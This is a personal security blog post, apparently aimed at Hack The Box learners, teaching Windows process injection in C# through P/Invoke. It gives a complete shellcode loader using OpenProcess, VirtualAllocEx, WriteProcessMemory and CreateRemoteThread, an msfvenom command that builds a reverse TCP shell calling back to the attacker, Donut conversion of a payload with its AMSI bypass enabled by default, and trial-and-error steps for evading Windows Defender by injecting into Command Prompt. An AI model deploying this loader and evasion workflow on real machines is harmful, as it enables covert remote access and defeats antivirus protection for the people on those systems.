With all the Hack The Box boxes I’ve done, I’ve rarely ran into issues with Antivirus. Typically these boxes teach some sort of methodology or technique; therefore evasion is rarely implemented. However, evasion is an interesting concept; if your payload is signatured by AV and you cannot run it on the compromised host, then what do you do after initial exploitation? The answer is simple: just don’t get caught!
For the following activities labelled in this blog post, make sure that you have Visual Studio and Process Explorer installed, along with Windows Defender disabled unless specified.
Pinvoke
For this post, I will be covering one of the most simple techniques, Process Injection, in Windows, and with .NET. This technique utilizes a technology called Pinvoke, or Platform Invoke. Code written in higher level languages such as C# are considered “managed code”; their memory is managed by a garbage collector so we don’t have to worry about memory issues as much. Lower level languages, such as C++ and C, are considered “unmanaged code”, since their memory has to be managed by the programmer. Additionally, most of the Win32 APIs (basically function calls within some core DLLs) are written in unmanaged code. This is where Pinvoke comes in; it allows our .NET code to access the functions and structures of unmanaged code libraries.
Simple Injection
At a high level, when a program is run, some resources are allocated to it by your computer in the form of memory. The program is compiled into machine code and starts a process; the process will run in the memory that was allocated by the computer. For a simple Process Injection, there are four main steps and four main API calls.
- Open a remote process to access its memory (OpenProcess)
- Allocate some space in memory for your shellcode (VirtualAllocEx)
- Write the shellcode into that memory space (WriteProcessMemory)
- Start a remote thread, beginning at the address where the memory was allocated (CreateRemoteThread)
With that out of the way, here is a simple template. It will inject shellcode into a specified process.
using System;
using System;
using System.Runtime.InteropServices;
namespace ProcessInjection
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(
uint processAccess,
bool bInheritHandle,
int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
static void Main(string[] args)
{
byte[] buf = new byte[1] {0x00};
int PID = Int32.Parse(args[0]);
IntPtr output;
IntPtr ProcessHandle = OpenProcess(0x001F0FFF, false, PID);
IntPtr MemAddr = VirtualAllocEx(ProcessHandle, IntPtr.Zero, (uint)buf.Length, 0x3000, 0x40);
WriteProcessMemory(ProcessHandle, MemAddr, buf, buf.Length, out output);
CreateRemoteThread(ProcessHandle, IntPtr.Zero, 0, MemAddr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
Now to explain this code.
using System.Runtime.InteropServices;
This directive is used to utilize Pinvoke
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(
uint processAccess,
bool bInheritHandle,
int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
These calls import a dll and a specified method; the Win32 API call that we want to utilize in our code. Within the method translation, the static keyword is used because they are static methods. Extern is utilized because we are importing a method from an external language; the unmanaged language that the DLL was written in. For the method arguments, the parameters types are based on the ones provided in the Microsoft documents linked above. The website, pinvoke, can help with importing Win32 API calls.
byte[] buf = new byte[1] {0x00};
This byte array represents our shellcode, I just made it have a single value to keep it short. This shellcode can be generated via msfvenom like so:
┌──(root💀kali)-[/home/kali]
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f csharp EXITFUNC=thread
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of csharp file: 2362 bytes
byte[] buf = new byte[460] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
...
int PID = Int32.Parse(args[0]);
This stored the first argument passed to the command line as the PID of the process.
IntPtr ProcessHandle = OpenProcess(0x001F0FFF, false, PID);
This will open a process, specifying “0x001F0FFF” as the access right which represents ALL access rights on the process it is opening. “false” is used for the bInheritHandle property since it is irrelevant to us whether child process of this one will inherit the handle return by this function; we just want to open this process up. Lastly, we specify the PID of the process we are attempting to inject to. This function will return an Integer Pointer that points to the process handle. Note that this call will only work if we have enough access rights for the process; we will most likely be able to open a process run by our user, but not one run by a different user unless we are Administrator/SYSTEM.
IntPtr MemAddr = VirtualAllocEx(ProcessHandle, IntPtr.Zero, (uint)buf.Length, 0x3000, 0x40);
This will allocate memory to a process; we specify our process handle IntPtr from OpenProcess to tell it which process to allocate memory to. We then specify an “IntPtr.Zero” to tell it automatically find a place within the process memory to allocate some more memory. We specify an unsigned integer equal to our shellcode length as the size of memory we want to allocate. “0x3000” will tell this function that we are doing an allocation of type MEM_COMMIT and MEM_RESERVE; this will make this function call reserve some memory of the process, and then commit a memory page so the reserved space can be used.
WriteProcessMemory(ProcessHandle, MemAddr, buf, buf.Length, out output);
We will now write into our process, specified by passing in the process handle. Within this process we will write to the space that VirtualAllocEx reserved and commited. We will write in the contents of “buf”, our shellcode array, and we will also make sure that we are telling the function the size of buf. Lastly, we will save the output of the number of bytes written to an arbitrary IntPtr that we declared earlier.
CreateRemoteThread(ProcessHandle, IntPtr.Zero, 0, MemAddr, IntPtr.Zero, 0, IntPtr.Zero);
We will now start a thread, or a separate process, within the address space of the process of the process handle. The rest of the settings for creating the thread we will default via 0 or IntPtr.Zero. However, we will have to specify that within the process, we want to start the thread at the memory address from VirtualAllocEx, since that is where we allocated our shellcode to.
Here is a demo of this by injecting into Notepad:
However, there are some caveats to this: We have to hard-code our shellcode in, making it possible for AV to signature this shellcode loader. If we turn on Windows Defender and run this payload, we’re gonna see this:
Additionally, we are limited to what our shellcode can do; unless we can make something complex out of shellcode manually, we’re pretty much just gonna be a slightly fancy msfvenom reverse shell loader. Theres other caveats, but I will mainly address these two.
Introducing Donut
Donut is a tool that can create position independent shellcode out of .NET assemblies (exes and dlls). For the purpose of this blog, I will focus on its usage for exe files. The technical details as to how it does this is current beyond my level, so here is the blog post by the creators which goes into great depth about it. While there is a python library and a linux executable that both work on a linux host, I was unable to make them function properly; the shellcode produced only worked for msfvenom payloads for some reason. Because of this, I will utilize the Windows executable in this post. To start off, we can install donut by downloading, unzipping, and then running the executable from the Github repo.
D:\Downloads\donut_v0.9.3>donut.exe
[ Donut shellcode generator v0.9.3
[ Copyright (c) 2019 TheWover, Odzhan
usage: donut [options] <EXE/DLL/VBS/JS>
Only the finest artisanal donuts are made of shells.
-MODULE OPTIONS-
-n <name> Module name for HTTP staging. If entropy is enabled, this is generated randomly.
-s <server> HTTP server that will host the donut module.
-e <level> Entropy. 1=None, 2=Use random names, 3=Random names + symmetric encryption (default)
-PIC/SHELLCODE OPTIONS-
-a <arch> Target architecture : 1=x86, 2=amd64, 3=x86+amd64(default).
-b <level> Bypass AMSI/WLDP : 1=None, 2=Abort on fail, 3=Continue on fail.(default)
-o <path> Output file to save loader. Default is "loader.bin"
-f <format> Output format. 1=Binary (default), 2=Base64, 3=C, 4=Ruby, 5=Python, 6=Powershell, 7=C#, 8=Hex
-y <addr> Create thread for loader and continue execution at <addr> supplied.
-x <action> Exiting. 1=Exit thread (default), 2=Exit process
-FILE OPTIONS-
-c <namespace.class> Optional class name. (required for .NET DLL)
-d <name> AppDomain name to create for .NET assembly. If entropy is enabled, this is generated randomly.
-m <method | api> Optional method or function for DLL. (a method is required for .NET DLL)
-p <arguments> Optional parameters/command line inside quotations for DLL method/function or EXE.
-w Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)
-r <version> CLR runtime version. MetaHeader used by default or v4.0.30319 if none available.
-t Execute the entrypoint of an unmanaged EXE as a thread.
-z <engine> Pack/Compress file. 1=None, 2=aPLib, 3=LZNT1, 4=Xpress, 5=Xpress Huffman
examples:
donut c2.dll
donut -a1 -cTestClass -mRunProcess -pnotepad.exe loader.dll
donut loader.dll -c TestClass -m RunProcess -p"calc notepad" -s http://remote_server.com/modules/
The flags for its usage are provided above. I’ll bring my msfvenom payload onto my Windows host machine and use donut on that.
D:\Downloads\donut_v0.9.3>donut.exe D:\shell.exe -a 2
[ Donut shellcode generator v0.9.3
[ Copyright (c) 2019 TheWover, Odzhan
[ Instance type : Embedded
[ Module file : "D:\shell.exe"
[ Entropy : Random names + Encryption
[ File type : EXE
[ Target CPU : amd64
[ AMSI/WDLP : continue
[ Shellcode : "loader.bin"
We can simply just specify the path to the executable, but I also specified the architecture to fit my machine. There are other flags that cover things such as encryption and formatting, but I won’t cover that. Now with our binary data in a separate file, we can modify our shellcode loader code. Replace the byte array initialization with this snippet (modify with wherever you outputted and named your shellcode) and add the “using System.IO;” directive.
byte[] buf = File.ReadAllBytes("D:\\Downloads\\donut_v0.9.3\\loader.bin");
Recompiling and injecting into notepad, we can see that it works! But Defender still catches this when its on..
Notice that this is a behavioral detection, not from the actual content of the executable being signatured. We actually do capture a shell from this; Defender flags it a while after or after the process exits.
We can also compile our payload just fine even if Defender is on. Since its behavioral, lets think for a bit. Notepad spawning a Command Prompt and making network traffic is, indeed, suspicious. Injecting into Command Prompt itself would probably be less suspicious because network traffic and spawning processes makes sense for it. Let’s try that instead.
IT WORKS! Sometimes. After running this several times, there are a few times Defender captures this and many times it didn’t. I’m not too sure why, but it’s a start! We’re able to (somewhat) avoid Defender by deploying our code in memory. However, this still comes with a caveat; we need to write our donut data onto disk. While it didn’t get flagged by Defender, it is good practice to avoid writing to disk as much as possible. In the next part to this mini-series I will detail another injection technique, Process Hollowing, along with utilizing a web server so we can remotely load our injection rather than loading from a file on disk. Stay tuned until then!
–Dylan Tran 5/12/22